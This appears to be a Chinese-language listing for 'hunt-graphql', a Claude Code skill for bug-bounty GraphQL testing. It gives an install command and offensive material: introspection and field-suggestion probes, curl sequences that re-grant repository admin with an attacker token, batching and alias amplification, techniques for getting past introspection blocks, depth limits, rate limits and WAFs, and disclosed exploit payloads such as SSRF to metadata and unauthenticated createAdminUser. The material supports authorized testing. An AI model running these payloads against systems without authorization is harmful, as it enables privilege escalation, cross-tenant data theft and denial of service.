关于 hunt-graphql
hunt-graphql 是面向渗透测试人员和漏洞赏金研究者的 GraphQL 安全测试技能,侧重发现 GraphQL 与 REST API 间的授权缺陷和状态不同步问题。
主要功能
- 01发现 GraphQL 端点
- 02映射 Schema 与 Mutation
- 03测试授权边界
- 04检查跨 API 状态不同步
- 05评估竞态条件
适用场景
- 01安全测试中的 GraphQL API 评估
- 02检查 REST 撤权后访问是否残留
- 03测试跨租户对象访问
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-graphql安装后在 Claude Code 中输入/hunt-graphql确认已加载。
详细介绍
关键目标
GraphQL 漏洞价值很高,因为攻击面既广又深——单个端点就可能暴露整个数据模型、权限提升路径,以及跨 API 状态混淆。最高额的赏金通常出现在以下场景:
- 平台 API(GitHub、Shopify、Stripe 级别的目标),其中 GraphQL mutation 会与管理相同资源的 REST API 交互
- GraphQL mutation 与 REST 端点之间的竞态条件,其中状态同步不是原子的——这类问题通常能稳定达到中高严重性
- 授权状态持久化漏洞,其中团队/组织/仓库成员状态由一个 API 控制,却能通过另一个 API 读取或写入
- B2B SaaS 平台,其中一个租户通过遍历 schema 影响另一个租户 = 严重漏洞
- 意外暴露给低权限用户的内部管理 GraphQL 端点
GitHub 报告展示了关键目标模式:本应撤销的权限仍然存在,因为两个 API 对事实来源的认定不一致。
攻击面信号
URL 模式:
/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphql
响应头:
Content-Type: application/json (with query body)
X-Request-Id + no REST-style path params = likely GraphQL
JavaScript 源码模式:
// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"
技术栈信号:
- JS bundle 中的 Apollo Server/Client
- React 应用中的 Relay
graphene或strawberry(Python)、graphql-ruby、gqlgen(Go)、Lighthouse(Laravel)- Burp 历史记录中请求体为
{"query": "..."}格式的 POST 请求 - 任意响应中出现
__schema或__type= 确认使用 GraphQL
侦察来源:
- 在
github.com搜索:"graphql" site:target.com - 使用 Wayback Machine 查找
/graphql路径 - 使用
LinkFinder或getallurls扫描 JS bundle
分步漏洞挖掘方法
-
发现端点 — 爬取 JS bundle、检查
/graphql、查看 Burp 被动扫描结果中application/jsonPOST 请求里包含 query 字段的记录 -
测试内省 — 发送完整的内省查询。即使被拦截,也要尝试枚举字段:
{ __typename }如果返回结果,说明内省可能只被部分拦截,但仍可发现 schema
-
映射完整 schema — 使用
InQL(Burp 扩展)或graphql-voyager可视化关系。重点查找:- 修改所有权、权限或成员身份的 mutation
- 与 REST API 功能相对应的 mutation
-
识别 REST/GraphQL 重叠部分 — 记录所有既能通过 REST、也能通过 GraphQL 修改的资源。这些双写攻击面就是竞态条件目标。
-
逐个 mutation 测试授权边界 — 以低权限用户身份重放 mutation。服务器是否执行了与对应 REST 调用相同的授权检查?
-
寻找跨 API 状态不同步 — 查找以下操作顺序:
- REST 操作应撤销访问权限
- GraphQL mutation 重新授予或保留该权限
- 测试操作顺序:先调用 REST → 再调用 GraphQL → 检查状态;然后先调用 GraphQL → 再调用 REST → 检查状态
-
测试角色/成员身份变更后权限是否持久存在 — 通过 REST 移除用户,然后调用针对该资源的对应 GraphQL mutation。通过两个 API 查询当前状态并进行比较。
-
探测节点 ID 中的 IDOR — GraphQL 全局 ID 通常会编码对象类型和 ID。跨对象边界以及不同账户上下文替换 ID。
-
检查批量查询滥用 — 发送操作数组,以绕过速率限制或扩大枚举范围。
-
记录精确的复现步骤 — 对于竞态条件漏洞,基于时间的步骤必须能够稳定复现。
负载与检测模式
完整内省查询:
{
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
最小内省探测(尝试绕过):
{ __typename }
curl 内省测试:
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .
字段建议探测(绕过盲内省拦截):
{ unknownField }
如果响应返回 "Did you mean: [realFieldName]?",说明即使内省已禁用,仍可枚举 schema。
批量查询放大:
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"}
]
竞态条件状态不同步测试模式(伪序列):
# Step 1: Grant access via REST
curl --max-time 30 --connect-timeout 10 -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \
-H "Authorization: token ADMIN_TOKEN" \
-d '{"permission":"admin"}'
# Step 2: Revoke via REST
curl --max-time 30 --connect-timeout 10 -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \
-H "Authorization: token ADMIN_TOKEN"
# Step 3: Re-assert via GraphQL mutation
curl --max-time 30 --connect-timeout 10 -X POST https://api.target.com/graphql \
-H "Authorization: bearer ATTACKER_TOKEN" \
-d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'
# Step 4: Verify persistent access
curl --max-time 30 --connect-timeout 10 https://api.target.com/repos/ORG/REPO/teams \
-H "Authorization: token ADMIN_TOKEN"
在 JS bundle 中搜索 GraphQL:
grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.js
使用 InQL / clairvoyance 盲枚举 schema:
python3 clairvoyance.py -u https://target.com/graphql \
-H "Authorization: Bearer TOKEN" \
-w wordlist.txt -o schema.json
常见根本原因
-
双写但没有原子锁——开发者分别在 REST 和 GraphQL 中实现相同的资源修改。对于该资源,两个系统都不知道对方的存在。状态更新既未串行化,也未进行比较。
-
授权中间件不一致——REST 端点经过一层身份验证机制(例如中间件链),GraphQL 解析器则经过另一层解析器级检查。同一操作,执行的授权检查却不同。
-
将 GraphQL 作为“新 REST”迁移——团队添加与 REST 功能相同的 GraphQL 突变,却未审查权限模型。GraphQL 版本成熟度较低,遗漏了 REST 版本随时间积累的检查。
-
生产环境中仍启用内省——默认框架设置(Apollo、Graphene)会在所有环境中启用内省。开发者忘记将其关闭,把它当成“只是文档”。
-
信任节点 ID,却未重新授权——GraphQL 全局 ID(
base64("ObjectType:123"))被解码后直接信任,未验证请求用户是否有权访问该特定对象。 -
突变副作用未同步——REST 操作触发级联效果时(例如移除团队成员会级联撤销权限),GraphQL 中对应的突变却不会触发相同的级联效果。
绕过技术
防御:禁用内省
- 利用字段建议错误进行绕过——发送无效字段名,并解析“你是否想找 X?”之类的响应
- 使用
clairvoyance对照词表暴力枚举字段名 - 检查 JS 包中是否包含泄露架构信息的硬编码查询字符串
防御:深度限制
- 使用片段展开增加有效深度,同时不触发限制器:
fragment F on User { repos { teams { members { ...F } } } }
防御:按 IP 限速
- 使用批量操作(在一个 POST 中发送查询数组)
- 将请求分散到多个已认证会话中
防御:对突变进行授权检查
- 使用不同权限级别(查看者、成员、管理员)的令牌进行测试
- 测试未认证情况——有些突变完全不检查会话
- 使用来自不同组织的令牌进行测试——多租户 IDOR
防御:WAF 阻止 __schema
- 为内省字段设置别名:
{ s: __schema { t: types { n: name } } }
- 使用 HTTP 参数污染或其他 Content-Type 请求头
防御:操作白名单(持久化查询)
- 检查
extensions.persistedQuery哈希不匹配时,服务器是否会回退到临时查询 - 查找未列入白名单的端点(开发、暂存、内部代理)
别名批处理:何时能抢赢竞态,何时不能
一种常见说法是“别名批处理能绕过每用户限速和防止重复消费的保护”。这是否有效,取决于解析器执行模型:
| 解析器类型 | 对带别名突变的处理方式 | 别名批处理能抢赢竞态吗? |
|---|---|---|
多线程 / 由 DataLoader 批处理的异步执行 | 别名并发运行,通过批处理共享状态 | 是——单个 HTTP 请求就能将竞态目标放大 N 倍 |
| 单线程 / 每个请求使用单个数据库连接 | 别名串行运行;第一个突变就会关闭后续操作的入口 | 否——需结合并行 HTTP 请求 |
| 分布式网关(Apollo Federation) | 并发向子图分发子查询 | 取决于各个子图 |
验证示例(单线程 Flask + SQLite 解析器):
- 在一个请求中发送 10 个带别名的
redeemCoupon突变 → 只有r1成功,r2-r10 均因already_redeemed失败。仅靠别名批处理并不足够。 - 将相同的 10 个突变作为 20 个并行 HTTP POST 请求发送 → 20 次成功(使用一张 $100 优惠券获得 $2000)。
**操作规则:**将别名批处理视为单次 RTT 的侦察原语。要利用竞态目标,请结合 hunt-race-condition 的并行 HTTP / Turbo Intruder 单数据包攻击。在 docs/verification/phase2e-jwt-graphql-race.md 的测试 11 与测试 12 中已验证。
Gate 0 验证
-
攻击者现在能做什么? 必须是具体操作:访问本不该看到的数据、在权限被撤销后仍保留权限、修改其他用户的资源。仅仅说“可以看到架构”还不够——架构能让攻击者做什么?
-
受害者会失去什么? 必须是真实资产:数据机密性、访问控制完整性、组织安全保障。对于 RC 模式:组织管理员失去了这样的保障:移除团队后,所有访问权限都会被撤销。这违反了安全承诺。
-
能否从头开始在 10 分钟内复现? 对于 RC/不同步漏洞:写出准确的 curl 请求序列。运行两次。如果权限稳定地持续存在(而非依赖时序的偶发情况),就可以报告。如果需要碰运气,在毫秒级的时序窗口内操作,请记录该窗口,并在低负载时段进行测试。
真实影响示例
场景 A——移除团队后仍隐蔽保留管理员权限(GitHub 模式)
攻击者原本通过团队成员身份合法获得了仓库管理员权限,组织管理员随后通过 REST API 将其移除。在移除完成前,攻击者调用 updateTeamsRepository GraphQL mutation,将其团队重新关联并授予管理员权限。REST 移除操作与 GraphQL 重新授权造成状态不同步:界面显示团队已移除,但 GraphQL 状态仍保留管理员级别的访问权限。攻击者因此无限期保留对仓库的隐蔽写入权限——可以推送代码、读取 CI/CD 中的机密信息——而且不会出现在团队成员列表中。这种情况在组织审计后依然持续存在。
场景 B——通过仓库转移竞态隐蔽保留访问权限(GitHub 模式)
拥有管理员权限的攻击者通过 REST API 发起将仓库转移到另一个组织的操作。在转移过程中或转移后,攻击者对现已转移仓库的 ID 调用 updateTeamsRepository。由于 GraphQL mutation 未能始终一致地根据当前组织所有权状态验证 REST 转移事件,原攻击者的团队仍在由另一个组织拥有的仓库上保留管理员权限。接收方组织无法看到这一团队关联。攻击者可以从与其没有任何合法关系的组织中窃取知识产权。
场景 C——将内省作为侦察前置步骤(Shopify 模式)
在根据项目规则有意启用内省的平台上,安全研究人员梳理完整架构,并发现文档中未公开的 fulfillmentOrderMove 和 inventoryAdjust mutations;这些内容未出现在公开文档中。这些 mutations 接受商家 ID 作为参数,但架构中看不到任何作用域验证。这项侦察直接助力针对商家间数据隔离进行定向 IDOR 测试——内省本身的严重性为零,但它是发现严重漏洞的切入点。
已披露报告引用(补录 +9 — 2019-2024)
以下真实且经过验证的漏洞赏金 / 协调披露案例,将本技能扩展到最初的 3 个内部参考案例之外。每个案例都属于不同的 GraphQL 子类,并且引用的报告中记录了可用的 PoC。
-
HackerOne——通过 GraphQL
User类型泄露机密用户数据(H1 #489146)- 子类:字段级授权失效(PII 泄露)
- 载荷:直接查询
user(id:...),返回email、backup_codes_hash、facebook_user_id、account_recovery_phone_number_verified_at、totp_enabled - 根本原因:后端迁移引入了缺少字段级授权的 GraphQL
User类型;任何经过身份验证的用户都能枚举所有用户的 PII - 年份:2019 — $20,000,1,028 个赞
-
HackerOne —
DestroyLlmConversationmutation IDOR(Copilot 预发布版)(H1 #2218334)- 子类型:AI/LLM 功能上的 mutation IDOR
- 攻击载荷:
mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } } - 根本原因:新增的 LLM 会话 mutation 上线时未添加授权装饰器;任何用户都可以销毁任意会话
- 年份:2023 — 在发布前发现,未获赏金(202 次赞)
-
Shopify —
BillingDocumentDownload跨租户 IDOR(H1 #2207248)- 子类型:跨租户 relay GID 上的 IDOR
- 攻击载荷:
query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } } - 根本原因:
BillingInvoice解析器验证了请求者的店铺,但未验证发票是否属于该店铺 - 年份:2024 — $5,000,175 次赞
-
Shopify — 通过负成本绕过速率限制(H1 #481518)
- 子类型:查询成本计算滥用(与别名批处理同类的模式)
- 攻击载荷:
query { products(first:-100) { … } }— 负数first产生负的查询成本,使每次调用都能补充漏桶 - 根本原因:查询成本计算器未将结果下限设为零;负值会从已消耗的预算中扣除
- 年份:2019 — $1,000
-
Stripe — 通过
UpdateAtlasApplicationPerson实现跨租户 IDOR(H1 #1066203)- 子类型:mutation 上的跨租户 IDOR
- 攻击载荷:
mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) }— 在其他商户的 Stripe Atlas 申请中添加或修改联合创始人 - 根本原因:mutation 只检查用户“是否为某个商户的管理员”,而未检查用户“是否为拥有此人的商户的管理员”
- 年份:2020 — 赏金未披露(已解决)
-
EXNESS — GraphQL
allTicks查询中的 SSRF(H1 #1864188)- 子类型:通过 GraphQL 参数实施 SSRF
- 攻击载荷:
query { allTicks(source:"http://[REDACTED_IP]/latest/meta-data/") { … } }—source参数被传入服务端 HTTP 客户端 - 根本原因:GraphQL 字段接受 URL 参数并直接访问,未设置 scheme/host 允许列表
- 年份:2023 — $3,000,249 次赞
-
EXNESS — GraphQL 属性批处理 DoS(H1 #2293642)
- 子类型:在未认证端点上通过批处理/深层属性放大实施 DoS
- 攻击载荷:单个 HTTP 请求包含 N 个批处理操作,每个操作都请求深度嵌套的属性树,并持续发送直至源站 OOM
- 根本原因:未对未认证的
/graphql设置查询深度、查询复杂度或批处理大小限制 - 年份:2024 — 赏金未披露(已解决)
-
GitLab — 通过
runnerUpdate附加恶意 runner(CVE-2023-2478)(公告)- 子类型:mutation 上的认证绕过/缺少项目范围检查
- 攻击载荷:
mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) } - 根本原因:
runnerUpdate未检查调用者是否在目标项目上拥有 Maintainer 权限 — 任何用户都可以绑定自己的恶意 runner 并拦截 CI 任务(构建机密、代码执行) - 年份:2023 — 严重,CVSS 9.6(H1 赏金未披露;GitLab 严重级别的赏金通常为 $20k–$35k)
-
AS Watson — 通过不受限制的
createAdminUsermutation 绕过身份验证(HackerOne 博客)- 子类:无需身份验证即可调用敏感 mutation(借助内省发现)
- Payload:通过内省枚举 schema 后,在未进行身份验证的情况下调用
mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } } - 根本原因:schema 缺少字段级授权指令;
createAdminUser对公共角色开放 - 年份:2023 — 获得 HackerOne Ambassador World Cup 的“最佳漏洞”奖
验证
运行此自测,以确认 GraphQL 漏洞挖掘已准备就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-graphql" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能包含类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录注意事项:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
这 3 项测试可验证技能结构正确且已准备就绪。
注意事项
- 启用了内省,但没有敏感 mutation — 内省本身只提供信息。需要通过揭示的 schema 证明存在可利用的查询或 mutation。
- 缺少字段级授权,但字段只涉及公开数据 — 如果暴露的字段本来就是公开的,就不构成漏洞。必须暴露用户不应看到的数据。
- 批处理攻击无法绕过速率限制 — GraphQL 批处理可以放大暴力破解,但前提是速率限制按请求而非按操作实施。
- 深度/复杂度攻击缺少 DoS 证明 — 高查询深度只是一种原始手段。需要证明服务器资源确实耗尽。
- 绕过持久化查询允许列表 — 真正的发现是绕过 APQ 以访问内省,而不是 schema 可见。
相关技能与攻击链
hunt-idor— GraphQLnode(id:)和全局 Relay ID 解析器是 IDOR 工厂:形式相同,缺少范围限制。攻击链原语:GraphQL 内省 + IDOR(node()解析器)→ 通过 Base64 解码后的 type:id 重放,跨租户访问数据。hunt-api-misconfig— GraphQL mutation 容易受到批量赋值攻击:客户端发送完整的输入对象,服务器进行合并。攻击链原语:GraphQL mutation + 额外字段(isAdmin:true、verified:true)→ 批量赋值 → 角色提升。hunt-business-logic— GraphQL 别名允许在一个请求中调用同一 mutation N 次,从而绕过按请求实施的速率限制。攻击链原语:带别名的 mutation + 业务逻辑漏洞 → 在一次网络往返中兑换优惠券 N 次。hunt-race-condition— GraphQL 批处理可将 N 个 mutation 合并到一个 HTTP 数据包中,是理想的单数据包竞态载体。攻击链原语:GraphQL 批处理 + 竞态 → 缺少原子更新 → 余额双花。security-arsenal— 加载 GraphQL Payload Pack:内省查询、schema 建议错误探测、别名放大模板、深度炸弹 DoS Payload、批处理攻击模板。triage-validation— 应用 Body-Diff 规则:内省本身只提供信息;提交前必须提供具体的跨租户读取,或具有实际影响的 mutation PoC。